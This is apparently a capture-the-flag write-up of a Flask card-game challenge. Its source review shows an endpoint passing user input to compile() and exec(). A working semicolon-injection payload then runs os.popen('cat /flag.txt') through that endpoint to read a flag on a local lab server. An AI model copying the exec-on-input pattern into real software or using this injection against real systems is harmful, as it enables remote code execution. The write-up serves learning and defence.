Web Evaluation Check
Application at-a-glance
Application is a card game that allows user to flip 8 cards.

When HP bar is depleted game is ended.

Source Code Review
Most interesting file is routes.py
as this file store all logic used by application.
from flask import Blueprint, render_template, request
from application.util import response
web = Blueprint('web', __name__)
api = Blueprint('api', __name__)
@web.route('/')
def index():
return render_template('index.html')
@api.route('/get_health', methods=['POST'])
def count():
if not request.is_json:
return response('Invalid JSON!'), 400
data = request.get_json()
current_health = data.get('current_health')
attack_power = data.get('attack_power')
operator = data.get('operator')
if not current_health or not attack_power or not operator:
return response('All fields are required!'), 400
result = {}
try:
code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec')
exec(code, result) #exec function allows to execute python code
return response(result.get('result'))
except:
return response('Something Went Wrong!'), 500
First interesting thing is that this application uses compile
and exec
function.
Let's analyze the given source code.
data = request.get_json()
current_health = data.get('current_health')
attack_power = data.get('attack_power')
operator = data.get('operator')
This piece of code parse POST
request body and get current_health
, attack_power
and operator
parameters.
Next step is checking if all three variables are set, this ensures that all three parameters are passed in request.
if not current_health or not attack_power or not operator:
return response('All fields are required!'), 400
This part is most interesting because of use exec
function.
result = {}
try:
code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec')
exec(code, result) #exec function allows to execute python code
return response(result.get('result'))
except:
return response('Something Went Wrong!'), 500
But before exec
call, user input is directly passed to compile
function and then to exec
, current_health
and attack_power
are casted to int. Result
variable is returned to the user in reponse
Vulnerability
As there is no sanitization of user input there is possible RCE (Remote Code Execution) via exec
function!
Testing
As I'm not familliar with compile()/exec()
function combo I copied relevant part of code to new python script for testing.
current_health = '12'
operator = "+"
attack_power = '100'
result = {}
try:
code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec')
exec(code, result)
print(result.get('result'))
except:
print('Something Went Wrong!')
After executing this script number 112
is printed.
exec
function is capable of executing python code. User controles all three parameters but only operator
is passed directly to compile
rest parameters are converted to int
One modyfication for testing script is required, because in this state when something is wrong printing Something Went Wrong!
To get full traceback try/except
block can be removed.
So the first try was to set operator
variable to something easy like print(1)
and if everything goes well it should print 1
current_health = '12'
operator = "print(1)"
attack_power = '100'
result = {}
code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec')
exec(code, result)
print(result.get('result'))
Unfortunately after executing, script returns SyntaxError: Invalid Syntax
and result is equal to result = 12 print(1) 100
so 12 is current_health
and 100 is attack_power

Python is capable of running inline code when next instruction are separated with semicolon ;
current_health = '12'
operator = ";print(1);"
attack_power = '100'
result = {}
code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec')
exec(code, result)
print(result.get('result'))
Executing this yeild great success! Script printing additianal 1
in terminal window.

Exploitation
With proper code execution now we can read the flag.
POST /api/get_health HTTP/1.1
Host: 127.0.0.1:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:1337/
Content-Type: application/json
Origin: http://127.0.0.1:1337
Content-Length: 114
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{
"current_health":"43",
"attack_power":"33",
"operator":";result = __import__('os').popen('cat /flag.txt').read();"
}
After sending this malicious request to application, server returns flag.

Payload explanation
"operator":";result = __import__('os').popen('cat /flag.txt').read();"
semicolons are here for valid python code execution - without
;
signs interpreter throwsinvalid syntax
errorresult =
this overwrites variable that is returned in response to the user__import__
is function called by regular import statement this allows to import modules directly so__import__('os')
means the same asimport os
but can be done inline and can call functions directly by referencing them asobjects
popen('cat /flag.txt
) this function spawns shell process and executes commandcat /flag.txt
read()
reads output of a process from popen
Last updated